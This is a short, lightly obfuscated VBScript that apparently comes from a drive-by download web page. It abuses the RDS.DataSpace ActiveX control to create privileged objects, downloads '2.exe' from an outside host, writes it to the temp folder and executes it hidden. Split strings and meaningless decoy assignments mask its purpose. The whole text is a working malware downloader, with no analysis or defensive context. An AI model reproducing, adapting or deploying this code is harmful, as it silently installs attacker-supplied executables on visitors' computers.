y = "http://www.baisooo.com/2.exe"
m4="down"
m5="file"
m6="copy"
m7="exit"
Set yc = document.createElement("object")
yc.setAttribute "classid", "clsid:BD96C556-65A3-
11D0-983A-00C04FC29E36"
ta=m4
tb=m5
tc=m6
td=m7
yi="Microsoft.XMLHTTP"
Set yd = yc.CreateObject(yi,"")
tf="Ado"
tg="db."
th="Str"
ti="eam"
yf=tf&tg&th&ti
yg=yf
set ya = yc.createobject(yg,"")
ya.type = 1
yh="GET"
yd.Open yh, y, False
yd.Send
y9="~temp351.exe"
set yb = yc.createobject
("Scripting.FileSystemObject","")
set ye = yb.GetSpecialFolder(2)
ya.open
y8="ya.BuildPath(ya,y8)"
y7="yb.BuildPath(yb,y7)"
y6="yc.BuildPath(yd,y6)"
y5="yd.BuildPath(yf,y5)"
y4="ye.BuildPath(yg,y4)"
y3="yf.BuildPath(yh,y4)"
y2="yg.BuildPath(yi,y3)"
y1="yh.BuildPath(yg,y1)"
y0="yi.BuildPath(yk,y0)"
y9= yb.BuildPath(ye,y9)
ya.write yd.responseBody
ya.savetofile y9,2
ya.close
set ye = yc.createobject("Shell.Application","")
ye.ShellExecute
y9,BBS,BBS,"open",0